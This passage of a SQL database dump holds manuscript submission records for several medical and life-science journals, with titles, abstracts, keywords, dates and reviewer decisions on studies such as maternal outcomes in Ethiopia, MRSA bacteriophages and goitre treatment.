rate and problem associated with it.  \r\nObjectives: To determine the maternal morbidity associated with operative vaginal delivery among mothers attended at Aksum Saint Mary hospital, Tigray, Ethiopia\r\nMethods:  A facility based cross sectional study design and a systematic random sampling method was used to select 326 charts of mothers who gave birth by operative vaginal delivery in Axum St. Mary hospital, Tigray region Ethiopia. Pretested and check list were used to collect data. The collected data were coded and entered into Epi Data 4.2 for analysis. The entered data were exported to SPSS 20.  Binary logistic regression analysis was used to compute crude odds ratio with its 95% confidence interval to test the associations between dependent and independent variables. Then variables found to be P<0.2 in the bivariate analysis taken as candidate for multivariable analysis. A level of significance was declared at p < 0.05 with a confidence interval of 95% the final result is presented in form of text, tables and figures.\r\nResult:  Out of the 326 reviewed maternal charts that gave birth by operative vaginal delivery 62(19%) had unfavorable maternal outcomes. The most common types of maternal complication were 1st degree vaginal tear (48.39%) and cervical tear (17.74%). Forceps type of operative vaginal delivery (AOR=2.248; 95%CI (1.144, 4.416) and low station where operative vaginal delivery was applied (AOR=3.199; 95% CI (1.359, 7.533) and neonatal birth weight greater than or equal to 4000gm  (AOR=3.342; 95% CI (1.435, 7.787) and duration of second stage greater than or equal to 3hrs  (AOR=2.556; 95%CI (1.039, 6.284) were significantly associated with the unfavorable maternal outcomes of operative vaginal delivery.  \r\nConclusion: Prevalence of unfavorable maternal outcome is high. Forceps types of operative vaginal delivery used, duration of second stage greater than or equal to 3hrs   and low station of operative vaginal delivery was applied and neonatal birth weights greater than or equal to 4000gm   were increasing unfavorable maternal outcomes.','Maternal outcome, factors of maternal outcome, operative vaginal delivery.',643,NULL,'2019-10-19',NULL,'Submitted',4,NULL,'2019-11-01',NULL,1,1,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2765,3575,45,0,'iphsj-19-2765','Learner Satisfaction with Simulation-Based Education and Associated Factors among Undergraduate Regular Midwifery Students at Harar Health Sciences College, Haramaya and Dire Dawa Universities, Eastern Ethiopia.',NULL,14,3,NULL,'Background: Simulation-based education using low to high fidelity techniques are common in Midwifery professionals’ education and it is found to be a good alternative to fill the gaps in skill teaching and learning. Acquisition of clinical skills and its retention when ongoing practice is offered is determined by the reactions, interpretations as well as perceptions of the students in which learner satisfaction is the central element.  \r\nObjectives: The aim of this study was to assess the learner satisfaction with simulation-based education and associated factors among undergraduate regular Midwifery students at Harar Health Sciences College, Haramaya and Dire Dawa Universities, Eastern Ethiopia\r\nMethods:  An institutional based cross-sectional study was conducted from April up to May 2018. The study population comprised all 3rd and 4th year undergraduate regular Midwifery students. The data was collected through English, Amharic and Afan Oromo version self-administer questionnaire, and the data entry was done by using Epi-info version-3.5.3 and analyzed by using SPSS version-20 software package. Bivariate and multivariate logistic regressions were used to identify factors associated with learner satisfaction and the degree of association was measured by using odds ratio with 95% confidence interval.\r\nResult:  The total of 244 third and fourth year midwifery students were recruited in the study and the findings showed that the proportion of learner satisfaction with simulation-based education is 70.95%. The effort of teachers in assisting their students during skill demonstration (AOR= 5.622(2.359-13.398), the suitability of the way of teaching to the learning styles of students (AOR= 22.391(10.770-37.529), and the availability of enough skill practicing programs per semester (AOR= 2.344(1.032-5.322) were statistically significantly associated factors with satisfaction in simulation-based education.\r\nConclusion: The study supports there is an important role of effort of teachers’ assistance, the suitability of way of teaching to learning styles and having enough time and program to practice what has been learned theoretically might gratify not only in simulation but also in actual patient care. Even though the level of satisfaction of simulation based learning among Midwifery students is high when compared to recent previous study conducted in our country, proposing the means to get better teachers’ assistance, counterparting the teaching and learning styles at simulation based education as well as planning enough skill practicing programs per semester is needed.','Simulation, Midwifery students, Learner satisfaction.',651,NULL,'2019-10-19',NULL,'Submitted',2,NULL,'2023-01-31',NULL,1,1,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2768,3582,639,0,'ipfs-19-2768','Evaluation of consumers\' perspectives regarding fish quality in Iran',NULL,14,0,NULL,'For the first time in Iran, this survey on the consumer’s opinion regarding fish quality was conducted in Esfahan. The descriptive survey was done randomly using questionnaire. The survey showed that the consumers prefer to spend more time and energy to get high quality fish and eat it at home rather than restaurants, in order to prevent the adverse side effects of low quality fish. They seek for the easy way to evaluate the freshness and quality of fish and value of the high quality fish. The consumers do not like to buy packed fish, but they themselves are not sure of their right choice for the high quality fish and they have to trust the salesmen’s comments and rely on promotion and price. About 54% of consumers rely on their visual ability to choose the correct quality and usually believe in crushed ice to preserve the quality of fish (36). Therefore, training and informing them about fish quality indices can raise the consumption rate.',' Quality control, Consumer, Iran, Fish, Marketing',1772,NULL,'2019-10-20',NULL,'Submitted',4,NULL,'2020-06-12',NULL,1,1,'0','Notify to Author to submit revised manuscript by taking the reviewer comments.',0,NULL,NULL,2,0,0,0,NULL,0),(2769,3583,251,0,NULL,'CURRENT STATUS OF SHEEP AND GOAT POX DISEASES IN ETHIOPIA',NULL,15,0,NULL,'SUMMARY \r\nEthiopia is endowed with large population of sheep and goats which supply milk, meat, and skin. Despite of these huge resource animal diseases is the major constraints that hinder the productivity. Sheep and goat pox disease is one of the major diseases caused by a genus of Capripox virus that cause detrimental effect on sheep and goat in many parts of the world. The objective of this review is to give insight on current status of the disease, its epidemiology, diagnosis, treatment, control and challenges of sheep and goat pox diseases. The diseases are most commonly transmitted through direct contact, indirect contact and mechanically by the vectors. Up on entry of virus into the host it replicates in local tissue and spread to different parts of the body as viremia causing pox lesions on skin (hair less area), lung, liver and kidney. Generally, in endemic areas the morbidity and mortality rate reaches 1-75% and 5-10% respectively. But, the disease is more sever in lambs, kids and exotic breed causing mortality rate up to 100%. In Ethiopia, the disease is distributed in all parts of the country causing significant economic losses in the form of decreased meat and milk yield, damage to skin, abortion, cause of death of animals, restriction of trade and genetic improvement of the animals. Diagnosis of the diseases is depends on clinical signs, laboratory confirmation and post mortem examinations. Since the disease has no effective treatment control measure depend on use of antibiotics for control of secondary bacterial complications, vaccination, limitation of animal movement and their products. But still control and eradication is challenging due to vaccine failure, nature of virus to undergo recombination and interspecies infection. Therefore awareness should be created on the husbandry and herd management to minimize interspecies infection and further study should be conducted at genetic level for detection of change in the genome and development of effective vaccine.\r\n',' Capripox virus, Epidemiology, Ethiopia, Goat, Sheep, Sheep and goat pox and Vaccine',778,NULL,'2019-10-20',NULL,'Submitted',4,NULL,'2019-12-21',NULL,1,0,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2777,3591,251,0,'ipacm-19-2777','The Biological Activity of Aqueous and Methanolic Extracts of Juglans Regia on Yeasts and Pathologic Bacteria',NULL,14,0,NULL,'Background The plant extract can be used as a natural alternative to control of pathogenic yeasts and bacteria in general and to reduce the risk of antibiotic-resistant pathogens in particular.\r\nMethods Diffusion agar method was used to examine the antifungal and antibacterial activity of both aqueous and methanolic Juglans Regia extracts. For yeasts, The MIC values were determined by the standard serial dilution assay using serial dilutions of the aqueous and methanolic extracts (300,200,100, 50, 25), μg/L). The MIC for bacteria was done using Muller-Hinton agar. The concentrations of the extracts tested were (500, 250, 100, 50) μg/ml.\r\nResults Juglans regia extracts showed activities against Malassezia furfur yeast, Methanolic extract exhibits more activity than aqueous extract. The Minimum Inhibition Concentrated rate (MIC) for Malassezia furfur methanolic extract was 75µg/ml. The extracts also examined on Candida albicans opportunistic yeast in the mouth and found to be more active than M. furfur were MIC 50 µg/ ml. The biological activity of aqueous and methanolic extracts were also examined against six pathogenic bacteria isolated from patients suffering from different diseases from several hospitals in Basrah, including Staphylococcus aureus, Escherichia coli, Salmonella typhi, Proteus mirabilis, pseudomonas aeruginosa and Vibrio parahaemolyticus. The Methanolic extract showed an effective effect in inhibiting all bacterial species compared with the aqueous extract.\r\nConclusion This study provides the possibility of using a natural plant such as Juglans regia as antimicrobial agent for many pathogenic yeasts and bacteria.\r\n',' Juglans regia, activity, antifungal, antibacterial',783,NULL,'2019-10-21',NULL,'Submitted',2,NULL,'2020-06-05',NULL,1,1,'1','The Biological Activity of Aqueous and Methanolic Extracts of Juglans Regia on Yeasts and Pathologic Bacteria.\r\n\r\nGram-negative bacteria: Staphylococcus aureus and Streptococcus mutans, Gram-negative bacteria: Escherichia coli and Pseudomonas aeruginosa have been discussed nicely. For the article study of these micro organisms is necessarty and the article has notified this in this sense. Natural plants have been used since ages, the study is worth and the paper can be published as it is.',0,NULL,NULL,NULL,0,0,0,NULL,0),(2785,3601,91,0,'ijddr-19-2785','Level of Glycemic Control and Predictors of Poor Glycemic Control among Diabetic Patients in West Ethiopia',NULL,14,0,NULL,'Background: Diabetes is a chronic illness that requires continuing medical care and patient self-management education to prevent acute complications and to reduce the risk of long-term complications. Diabetes care is complex and requires that many issues, beyond glycemic control, be addressed.\r\nObjective: The objective of this study is to assess the level of glycemic control and factors contributing to uncontrolled glycaemia among diabetic patients at the Nekemte Referral Hospital, West Ethiopia.\r\nMethods: A cross sectional study was conducted on diabetic patients attending diabetes clinic of Nekemte Referral Hospital, West Ethiopia. A total of 252 study participants were included in the study. Data was collected by interviewing patients during hospital visits and reviewing respective databases. Association between independent variables and depend variables was assessed using bivariate, and stepwise multivariable logistic regression respectively. A variable with P < 0.05 was considered as an independent predictor. Patient’s written informed consent was obtained after explaining about the purpose and procedures of the study.\r\nResults: The mean age of the participants was 41.7 + 17.6 years. About 159 (63.1%) of the patients were taking only insulin. Majority 169 (67.1%) of the participants had poor knowledge about diabetes. The glycemic rate control was 40.5%; while more than half of the participants 150 (59.5%) had poor glycemic control. On multivariable logistic analysis poor glycemic control was more likely to occur among unemployed (p<0.001), patients with no family/social support	 (p=0.024), duration of diabetes >10 years (p=0.005), poor knowledge about diabetes (p=0.012), taking insulin (p=0.004) and taking metformin plus glibenclamide (p<0.001).\r\nConclusion: A finding of this study revealed that a glycemic control of study participants was poor. Thus greater effort is needed to improve glycemic control. Health care professionals should work on improving the adherence to anti-diabetic medications of diabetic patients and knowledge of diabetic patients on diabetes by providing education to the patients during follow up to improve glycemic control.',' Diabetes mellitus, Poor glycemic control, Diabetes knowledge, Ethiopia',1325,NULL,'2019-10-22',NULL,'Submitted',4,NULL,'2019-10-31',NULL,1,1,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2794,3612,45,0,'iphsj-19-2794','Effect of exercise in Quality of Life of Stroke survivors: Systematic Review',NULL,15,0,NULL,'Background: Stroke is a leading cause of mortality and long-term adverse consequences globally. \r\nObjective: The aim of this systematic review was to evaluate the effects of exercises on the quality of life of stroke survivors.\r\nData Sources: The electronic search of articles was carried out and revealed 1427 hits across the four databases (AMED, CINAHL, MEDLINE and SCOPUS), out of which 1389 articles were excluded mainly based on their title and/or abstract. Of the remaining thirty-eight (38) articles, 31 articles were left when duplicates were removed. No additional article was obtained through hand searching.  Abstract reading of these 31 papers resulted in 17 articles that could be regarded as acceptable primary studies. \r\nStudy Selection: A careful and thorough reading of the full texts of these articles resulted in only six (6) articles that met the inclusion and exclusion criteria. Hence, only six RCTs were included in the systematic review. \r\nData Extraction: The articles were appraised by two independent reviewers and the data obtained from the extraction process were synthesised to yield the results for the review.\r\nResult: The findings suggest that aerobic exercise improves functional performance of the stroke survivors thereby subsequently improving the health related QOL of the stroke survivors. The outcome of the study also indicates that aerobic exercise such as walking improved mobility, but had no overall effect on fall prevention. However, functional exercises such as task-related exercises and constraint induced movement therapy have an additional value as compared to the conventional exercise regimens in improving the QOL of the stroke survivors. Strengthening exercise used in multidisciplinary approach had greater improvements than self-monitored program in terms of better QOL, mobility, endurance, and independence in carrying out activities of daily living.\r\nConclusion: Clinicians can safely incorporate exercises as a rehabilitation tool to improve the quality of life of stroke survivors. However, the exercises chosen should be specific and in accordance to the patient’s condition and situation in order to gain maximum benefits. Brisk over-ground walking could be included in community-based exercise regimens to encourage regular physical activity with the aim of improving the health-related QOL in stroke survivors.\r\n\r\n\r\n\r\n',' Exercise, Quality of Life, Stroke Survivors',643,NULL,'2019-10-24',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2832,3673,639,0,'ipfs-19-2832','First record of Ragged Sea Hare Bursatella leachii Blainville, 1817(Opisthobranchia: Euopisthobranchia:Aplysiidae) on Katigiorgis, eastern coast of Central Greece',NULL,14,0,NULL,'Specimens of Bursatella leachii Blainville, 1817were photographed from Katigiorgis, eastern coastof central Greece at depths of up to 4 m and the maximum number of this species was recorded at adepth of 2 m (39°10\'20.3\"N 23°20\'36.4\"E) on asandy soil bed. A thorough research survey on thespecies revealed this study to be the first report of its occurrence from this region. The present investigation describes a review on the occurrence and morphological features of this specimen. ','Ragged Sea Hare, Bursatella leachii, new records, Katigiorgis, Aegean, Greece',1782,NULL,'2019-10-29',NULL,'Submitted',4,NULL,'2020-06-12',NULL,1,1,'0','Notify to Author with reviewer comments.',0,NULL,NULL,1,0,0,0,NULL,0),(2833,3674,251,0,NULL,'Trends in diagnosis of hydrophilic pseudofungal organism 𝘙𝘩𝘪𝘯𝘰𝘴𝘱𝘰𝘳𝘪𝘥𝘪𝘶m  s𝘦𝘦𝘣𝘦𝘳𝘪 - Old to Recent Approach',NULL,2,0,NULL,'Background:Rhinosporidiosis is a chronic granulomatous disease with mucocutaneous involvement.It is caused by 𝘙𝘩𝘪𝘯𝘰𝘴𝘱𝘰𝘳𝘪𝘥𝘪𝘶𝘮 𝘴𝘦𝘦𝘣𝘦𝘳𝘪 , a taxonomically debated endo-sporulating aquatic eukaryotic organism.Nasopharynx and palpebral conjunctiva are common sites affected with rare occurrence of dissemination.\r\nMethods: A 13 yr old female presented with history of slow growing right sided swelling in the nose alongwith unilateral nasal obstruction,bleeding and discharge. On examination, the swelling was friable, polypoidal with a strawberry appearance. Endoscopic excision of nasal mass was done.Direct smear examination using Potassium Hydroxide(KOH) mount and histopathological staining with Methenamine silver and Periodic acid-Schiff were performed. The specimen was cultured on paired Brain Heart Infusion blood agar and Sabouraud dextrose agar at 25oC and 37oC. Deoxyribonucleic acid (DNA) extraction was carried out from nasal tissue using Qiagen kit and Polymerase Chain Reaction (PCR) was performed using 𝘙. 𝘴𝘦𝘦𝘣𝘦𝘳𝘪 specific primers F1-fw (CAAGTCTGGTGCCAGCAGCC) and F2-rev (GATTTCTCGTAAGGTGCCGA) and amplified product was detected by gel electrophoresis.Sequencing of amplicon was also done.The study was performed after approval from Institutional Ethics Committee and informed consent. \r\n Results: Bacterial and fungal culture results were negative.On KOH mount and histopathological stains, sporangia of 𝘙. 𝘴𝘦𝘦𝘣𝘦𝘳𝘪 showing endospores were visualized. Consensus PCR with DNA from digest of–infected nasal 𝘙. 𝘴𝘦𝘦𝘣𝘦𝘳𝘪 polyp produced amplification product of the expected size(~550 base pair) as visible on gel electrophoresis. It was successfully confirmed by sequencing. .\r\nConclusion: Nasal rhinosporidiosis may mimic neoplasm in its clinical features hence it is of paramount importance to diagnose it correctly. Local surgical excision is mainstay of treatment which was successfully done in index case.\r\n',' ',783,NULL,'2019-10-29',NULL,'Submitted',4,NULL,'2019-12-17',NULL,1,0,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2838,3681,86,0,'ipaom-19-2838','Tissue contrast differentiation between head and neck Squamous Cell Carcinoma tumors and adjacent tissues in early and late phases by multi-slice CT scan',NULL,14,0,NULL,'Background: Malignancies of head and neck are common cancers responsible for 6 percent of all malignancies. Use of multi-slice CT scan has led to shorter time of scan with optimal capacity in constant time.  This study aimed to evaluated the tissue contrast differentiation between head and neck Squamous Cell Carcinoma tumors and adjacent muscle tissue in early and late phases by multi-slice CT scan.\r\nMethods and materials: In this cross-sectional study, 76 patients with head and neck Squamous Cell Carcinoma referred to us in imaging center of Tehran Amir A\'lam hospital in 2014-5015. Multi-slice CT scan were conducted at early time (20 seconds) and 180 and 300 seconds after contrast media injection. Then, Hounsfield score of affected tissue and nearest muscle was measured. Δ density was defined as the contrast between tumor density and nearest muscle density.  \r\nResults: The mean of tumor density at early phase, late phase (180s) and (300s)  was 75/76 ± 21/08 ,75/26 ± 12/96 and 74/14 ± 12/57, respectively (P>0.05). Conversely, the muscle density significantly was lower in early phase compare to late phase (65/31 ± 11/65 vs. 69/06 ± 12/23 and 69/82 ± 10/69, P<0.001). Our results also showed that Δ density was decreased in late phases, however, this reduction was not statistically significant (P=0.08).\r\nConclusion: Results indicated that multi-slice CT scan may have good tissue contrast differentiation ability between head and neck Squamous Cell Carcinoma tumors and adjacent muscle tissues in early phases after contrast media injection. \r\n',' Key words: Squamous cell carcinoma; Head and neck; Multi-slice CT scan; Tumor; Muscle.',2890,NULL,'2019-10-30',NULL,'Submitted',2,NULL,'2020-06-04',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(2839,3682,45,0,'iphsj-19-2839','Alternative Additives Obtained either from Peripheral or Umbilical Cord Blood Can Be Used as an efficient FBS Replacement to maintain MSc expansion',NULL,14,0,NULL,'Fetal Bovine Serum (FBS) has been used as a universally approved supplement to support expansion and differentiation of human mesenchymal stem cells (MSCs). However, there has been always increased risk of prions and/or zoonotic infections and xenogeneic-related immunological reactions following usage of this non-human derivative. Hence, finding new autologous alternative has been an interesting research area for many years. It has been widely accepted that platelets promote in vitro proliferation of MSCs because of their growth factors.\r\nIn this study, human MSCs isolated from placenta tissue, were cultured and characterized. Platelets were collected from both peripheral and umbilical cord blood and platelet lysate was prepared by repeated freezing/thawing method. MSC was cultured in media containing FBS, umbilical cord blood platelet lysate (CBL), peripheral blood platelet lysate (PBL), and the mixture of serum and lysate. To assess the differentiation capacity, MSCs were cultured in osteogenic and adipogenic differentiation media. \r\nThe study illustrates that the proliferation rate of MSCs in media containing CBL or PBL is similar to the rate in the medium containing 5% FBS. Also, the proliferation rate in medium containing CBL plus cord blood serum is similar to ones containing 10% FBS. Besides, the ability of MSCs’ differentiation into osteocytes and adipocytes, in media containing CBL or PBL, is well maintained.\r\nTherefore it is concluded that the platelet lysate derived from umbilical cord blood or peripheral blood are both suitable alternative supplements for cell culture media. \r\n',' Platelet Lysate, Umbilical Cord Blood, Mesenchymal Stem Cell, Proliferation, Differentiation',651,NULL,'2019-10-30',NULL,'Submitted',4,NULL,'2019-11-05',NULL,1,1,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2842,3677,45,0,'iphsj-19-2842','Medical and Therapeutic Applications of Ketosis: An Overview',NULL,15,0,NULL,'Ketosis is a metabolic state in which the body uses ketones as an alternative fuel source to glucose. When dietary carbohydrate intake is limited, the body turns to ketones, produced initially by brief breakdown of muscles tissue and then by lipolysis of adipose tissue. Fasting is also a means of inducing a state of ketosis.\r\n\r\nThe ketogenic diet, a low-carbohydrate, high-fat diet, severely restricts carbohydrate intake and has been used to treat various health conditions, such as epilepsy, for over a century. Although the ketogenic diet is controversial, due to its strict dietary protocols, laboratory and clinical research suggest that there are many therapeutic benefits to be reaped through its implementation. Children with epilepsy have had their seizures reduced or completely controlled from maintaining a state of ketosis. Ketosis is also shown to help reduce tumor size in certain cancers. \r\n\r\nAdditionally, certain types of athletic performance have been shown to be enhanced through a low-carbohydrate, high-fat diet and body composition has dramatically improved in clinical research of subjects on a ketogenic diet with an almost universal reduction in body fat. One of the most promising areas of ketogenic research is on the neuroprotective effects of ketosis in patients with traumatic brain injury and neurological disorders. The full scope of ketogenic therapy is yet to be realized.\r\n','ketone, ketosis, ketogenic, keto, ',2879,NULL,'2019-10-30',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2844,3689,326,0,'IPJUS-19-2844','Clinicopathological examination and treatmentof goitre in Abakaliki Nigeria',NULL,14,0,NULL,'The prevalence of goitre is greater in countries affected by moderate or severe iodine deficiency, where it is said to be endemic. Thyroid swellings are four times more common in females. Most thyroid swellings are benign, a wide variation is observed in malignancy; 5% of clinical thyroid nodule is malignant while 8-20% surgical thyroid specimens are malignant. FNAC and Ultrasonography are very useful tools in making preoperative diagnosis. Preoperative indirect laryngoscopy is important to assess the positions of the vocal cords and for medicolegal reasons. When treatment is considered, patient performance status, goitre type, success related to treatment option and regional trends are usually influential.\r\nAim: To study the clinicopathological features of goitre and it\'s surgical treatment in Abakaliki Nigeria.\r\nMethod: This was a retrospective study. Total of 28 cases of goitre a we\'re studied. Patients aged 17-65 years, of both sexes with complaints of anterior neck swelling were included. Patients were subjected for clinical examination, neck USG, thyroid function test, FNAC and indirect laryngoscopy. Patients were ac occordingly treated with medical and surgical modes of treatments. All operated specimens were sent for histological evaluation.\r\nResults: Of all case 24(85.7%) cases were females and 4 (14.3%) cases were males. All cases presented with anterior neck mass.  Twenty-two (78.6%) cases were simple multinodular goitre, 3(10.7%) cases were toxic goiters, 3 (10.7%) cases were suspected to be malignant.  FNAC showed 25 (89.3%) benign cases and 3 (10.7%) were suspected cases of malignancy. Subtotal thyroidectomy was done for all benign cases and total thyroidectomy for suspected cases of malignancy. All operated specimens underwent histopathological examination of which 26(89.3%) cases were benign and 2(10.7%) cases were malignant (follicular thyroid cancer).\r\nConclusion: In Abakaliki, Nigeria the pathological presentation of goitre is usually benign and clinical feature is predominantly of simple goitre.\r\nKeywords: Goitre, clinical examination.',' Goiters, clinical examination',2505,NULL,'2019-10-30',NULL,'Submitted',4,NULL,'2019-11-25',NULL,1,1,'0','This article will be accepted after minor revision.',0,NULL,NULL,3,0,0,0,NULL,0),(2852,3688,251,0,'ipacm-19-2852','In vitro evaluation of bacteriophages against Methicillin-resistant Staphylococcus aureus(MRSA) isolated from burn wounds',NULL,14,0,NULL,'Background: Methicillin-resistant Staphylococcus aureus (MRSA) is a major threat to human health. It is considered to be a Multi-Drug Resistant (MDR) pathogen capable of causing a variety of diseases. MRSA is also one of the most important nosocomial pathogens in burn infection. As a treatment strategy against MRSA infections phage therapy has the potential of becoming an alternative remedy. Thus, the aim of present study was to isolate and characterize lytic bacteriophage from hospital sewage effective against burn wounds infecting MRSA isolates.\r\n	\r\nMaterials and Methods: Staphylococcus aureus strains were isolated from hospitalized burnt patients. Strains were confirmed as MRSA by Kirby-Bauer disk diffusion tests to penicillin, methicillin, and oxacillin and also PCR assay for mecA gene. Phage was isolated from hospital sewage sample and tittered by Double Layer Agar (DLA) method. Spot test was used for host range determination. The latent period and burst size were estimated from one step growth curve. Phage morphology was observed by electron microscopy. The nature of the nucleic acid of isolated bacteriophage was confirmed by using Rnase A, Dnase I and 6 restriction enzymes.\r\n\r\nResults: The titer, latent period and burst size of the isolated phage was determined to be 1×109 PFU/ml, 20 min and 190 PFU per infected cell, respectively. It displayed a wide host range for MRSA bacteria by spot test (27 isolate from 30).Electron microscopy observation demonstrated that the phage belonged myoviridea family. Digestion profiles of Rnase A, Dnase I and XbaI restriction enzyme on 1% agarose gel Electrophoresis, show that the genome of isolated phage was a double-stranded DNA with a size of <∼42kbp.\r\n\r\nConclusion:\r\n\r\nThe isolated phage was active against a wide range of MRSA strains recovered from burnt patients. Therefore it can be considered as a suitable candidate for use in prophylaxis and treatment of these clinical infections and for the preparation of anti-staphylococcal cocktails.\r\n','MRSA, burnt wound, bacteriophage, lytic activity, hospital sewage\r\n\r\n ',783,NULL,'2019-10-31',NULL,'Submitted',2,NULL,'2019-12-10',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(2856,3705,251,0,'ipacm-19-2856','	Prevalence of Community Acquired Methicillin Resistant Staphylococcus aureus nasal carriage among children of consultation: Experience of a Moroccan University Hospital ',NULL,17,0,NULL,'Background:  \r\nThe carriage of Staphylocoque aureus, including methicillin-resistant S.aureus (MRSA), is a significant risk factor for subsequent staphylococcal infection. The nares are the most consistent sites of colonization. The objective of this study was to determine prevalence for community acquired methicillin-resistant S.aureus (CA-MRSA) nasal carriage among a pediatric population as well as to find out antibiotic susceptibilities of isolated strains.\r\nPatients and Methods: \r\nWe conducted a prospective study from June 2017 to June 2018 on 300 children, who consulted in the different pediatric specialties of Mohamed VI University Hospital of Marrakesh.\r\nNasal swabs were collected from all the consultant children. The identification of nasal carriage of SA was performed in the microbiology laboratory of Mohamed VI University Hospital. \r\nResults: \r\nStaphylocoque aureus was isolated from the nares in 49 (16,3%) children, Two (4%) isolates were classified as CA-MRSA.  The mean children age was 75, 14 months (p=0.05), a male predominance was noticed. The majority of SA carriers were from urban areas, it was noted a high carriage in living patients with five or more people (p=0.024).\r\nAntimicrobial susceptibility testing of MRSA stains expressed a 100% resistance to co-trimoxazole, fusidic acid and sensitivity to all other antibiotics. Conclusion: This study highlights the potential for community MRSA acquisition in our context. These strains, which were initially sensitive to most of antibiotics, begin to become increasingly resistant to no-betalactam antibiotics. This requires continuous monitoring to clarify the factors of antimicrobial resistance and to prevent further spread of community MRSA.','Methicillin-resistant Staphylococcus aureus. Nasal carriage. Communal. Children',783,NULL,'2019-11-01',NULL,'Submitted',2,NULL,'2020-01-13',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(2858,3707,639,0,'ipfs-19-2858','Effects of Chemical and Bio-Synthesized Nano-Fe2O3 on the Growth and Hematological Profile of African Catfish (Clarias Gariepinus) Fingerlings',NULL,14,0,NULL,'Effects of chemically and biologically synthesized nano-Fe2O3 fishmeal supplements on the growth and hematological profile of African catfish (clarias gariepinus) fingerlings were studied. Batches of ferric oxide nanoparticles (nFe2O3) were prepared by chemical and biological methods. The feed diets were prepared in five supplementing levels of 0.02, 0.05, 0.10, 0.15 and 0.20 g of bio-synthesized nano-Fe2O3 (NB)  and chemically synthesized nano-Fe2O3 (NB) per Kg of the basal feed. Fish fed with any of the two synthesized nano-Fe2O3 supplemented diets showed higher hematological parameter values compared to those fed with the basal diet. Highest weight gain achieved with NC was 820%, at the supplemental level of 0.1 g/Kg feed. On the other hand, NB achieved a maximum weight gain of 826% at level of 0.15 g/Kg feed inclusion. This indicates that dietary iron supplementation in the basal feed used is necessary for catfish (C.gariepinus) fingerlings. It was also observed that diet supplemented with NC –feed ration  performed slightly better than diet supplemented with NB-feed ration in improving fish weight up to the inclusion level of 0.1 g Fe/Kg feed. Above this level (0.1 g/Kg) there was no significant weight difference between fish fed NC and NB supplemented diets. ',' African catfish, nano-Fe2O3, chemical synthesis, Bio-synthesis, growth rate, fishmeal,   haematological profile ',1770,NULL,'2019-11-02',NULL,'Submitted',1,NULL,'2020-06-12',NULL,1,1,'0','According to review comments not accept to publish this article.',0,NULL,NULL,NULL,0,0,0,NULL,0),(2874,3073,959,0,'ipacr-19-2874','Bilateral palpebral localisation of a MALT lymphoma',NULL,17,0,NULL,'A 58-year-old man presented with a five-month history of swelling of all four eyelids. Physical examination revealed a firm mass on both upper and lower eyelids. CT of orbit showed intense bilateral palpebral enlargement with no bone structures erosion. Biopsy specimens were required for histologic diagnosis, the characteristics were consistent with MALT lymphoma. The patient was treated with radiation therapy. After 12 months of follow-up, no signs of recurrence have been observed.','bilateral palpebral enlargement - Biopsy - MALT lymphoma - radiation therapy',2795,NULL,'2019-11-04',NULL,'Submitted',4,NULL,'2020-06-12',NULL,1,1,'0','Accepted',0,NULL,NULL,2,0,0,0,NULL,0),(2876,3731,45,0,'iphsj-19-2876','Laboratory markers and outcome in patients with non variceal upper gastrointestinal bleeding receiving early endoscopic treatment ',NULL,14,0,NULL,'Acute upper gastrointestinal bleeding (AUGIB) is an important emergency situation and epidemiology data are important to highlight this healthcare problem.','Inflammatory markers, upper gastrointestinal,  non variceal gastrointestinal bleeding, early endoscopy, outcome',643,NULL,'2019-11-05',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2877,3730,326,0,'IPJUS-19-2877',' Asymptomatic migration of ventriculoperitoneal shunt tube through the anus',NULL,2,0,NULL,'Abstract:\r\n \r\nIntroduction: Hydrocephalus is caused by the inability of cerebrospinal fluid (CSF) to drain into the bloodstream. Ventriculoperitoneal shunt (VP shunt) is used frequently in the treatment of Hydrocephalus. VP shunt complications are common. \r\n\r\nCase presentation: A 4 year old girl, had VP shunt at the age of one year. Her mother noticed a tube protruded through her anus and brought her to the emergency department. Laparotomy revealed the VP shunt tube inside the peritoneal cavity. Its distal end penetrated the recto- sigmoid junction and passed into the anus. The penetrating part of the shunt was cut and removed. The perforated bowel was repaired.\r\n\r\nDiscussion:\r\nVP shunt is a commonly performed procedure .It is associated with a high rate of complication. The incidence of bowel perforation with protrusion of VP shunt per anus is a rare complication. This complication is serious.\r\n\r\nConclusion: Migration of VP shunt tube through the anus is rare. It may happen without symptoms. It can be prevented by proper technique and length of tube. The proper treatment is removal of the migrated part and closure of the perforated bowel by laparotomy or laparoscopy.\r\n',' Keywords: Ventriculoperitoneal shunt, complications, bowel perforation, case report.',2505,NULL,'2019-11-05',NULL,'Submitted',2,NULL,'2019-11-25',NULL,1,1,'0','This article is accepted for publication.',0,NULL,NULL,NULL,0,0,0,NULL,0),(2887,3744,86,0,'ipaom-19-2887','Usefulness of the Quick Disabilities of the Arm, Shoulder and Hand (QuickDASH)  questionnaire in Dupuytren\'s Disease: A Prospective Cohort Study.',NULL,14,0,NULL,'Background: Dupuytren\'s disease (DD) is a fibroproliferative disease which affects the hands and can produce progressive and irreversible flexion contractures. Collagenase Clostridium Histolyticum (CCH) is a minimally-invasive treatment option for it. Hand function and patient´s satisfaction were commonly measured by the Disabilities of the Arm, Shoulder and Hand (QuickDASH) questionnaire. The Spanish QuickDASH is the only validated Spanish region-specific questionnaire can be employed for the clinical assessment of patients with pathologies of the hand, such as Dupuytren\'s Disease. The aim of the study was to determine the usefulness of the abbreviated Spanish version of the QuickDASH, as an effective tool for evaluation of Dupuytren\'s disease treatment outcomes and their correlation with objective outcomes measuring improvement in residual contracture following treatment.\r\nMethods: We conducted a prospective cohort study from April 2016 to June 2017 involving the selection of patients from three different hospitals. The measurement of the clinical results was made by calculating the difference between prior and post-treatment degrees of contraction (Thomine´s 